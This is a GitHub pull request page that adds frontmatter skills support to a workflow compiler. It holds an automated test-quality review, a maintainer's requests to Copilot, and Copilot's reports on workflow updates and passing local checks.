compiler_orchestrator_frontmatter_test.go (57) compiler_orchestrator_frontmatter.go (4) 14.25:1 🔶 Inflation
frontmatter_types_test.go (19) frontmatter_types.go (1) 19:1 🔶 Inflation
generate_aw_info.test.cjs (11) generate_aw_info.cjs (38) 0.29:1

Note: The inflated ratios reflect testing paths through existing complex functions (parseFrontmatterSection, ParseFrontmatterConfig) with only a small production-file delta. The tests cover genuinely new behavior and are not padding.

⚠️ Flagged Tests — Soft Concerns (2 issues, no hard violations)

TestBuildActivationJob_AddsFrontmatterSkillsInstallSteps (pkg/workflow/activation_skills_step_test.go:35) — ⚠️ Guideline: six assert.Contains() calls have no descriptive third argument. On failure the message will show only the string-not-found report without context. Suggested fix: add a short msgAndArgs string, e.g. assert.Contains(t, steps, "Upgrade gh CLI for frontmatter skills", "expected skill upgrade step in activation job").

TestIsRepositorySkillSpec (pkg/workflow/skills_frontmatter_test.go:43) — ⚠️ Guideline: bare require.True / require.False without a descriptive message. Suggested fix: require.True(t, isRepositorySkillSpec("githubnext/skills@sha"), "full-owner/repo@SHA should be a repository skill spec").

Verdict

Check passed. 0% implementation tests (threshold: 30%). All 7 tests verify observable, user-visible behaviour — parsing contracts, validation rejection, compiled YAML content, and file output. The two soft flagged items (missing assertion messages) are style guideline concerns, not hard violations. Test inflation in two files reflects comprehensive coverage of newly enabled paths in existing functions, not padding.

🧪 Test quality analysis by Test Quality Sentinel · 86.8 AIC · ⌖ 16.4 AIC · ⊞ 6.7K ·
Comment /review to run again

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ Test Quality Sentinel: 73/100. Test quality is acceptable — 0% of new tests are implementation tests (threshold: 30%).

@pelikhan

Copy link
Copy Markdown
Collaborator

@copilot run pr-finisher skill

Copilot AI and others added 2 commits June 30, 2026 16:13
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>

Copilot AI commented Jun 30, 2026

Copy link
Copy Markdown
Contributor Author

@copilot update Matt pocock , impeccable to use skills frontmatter

Updated the Matt Pocock reviewer workflow in a1e89b7 to use frontmatter skills with SHA-pinned refs. I did not convert Impeccable in this pass because needex/skills is not resolvable to a SHA-pinned GitHub repo from this environment, so frontmatter skills would not validate for it yet.

@copilot run pr-finisher skill

Done. I ran the PR-finisher pass and pushed a1e89b7 and 0a451d9. Local make fmt, make recompile, make lint, make test-unit, make test, and make agent-report-progress all passed; CI on this head still needs a maintainer re-trigger because agent pushes do not start new runs.

@pelikhan pelikhan merged commit 6db2e55 into main Jun 30, 2026
37 checks passed
@pelikhan pelikhan deleted the copilot/add-builtin-support-for-skills branch June 30, 2026 16:55
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants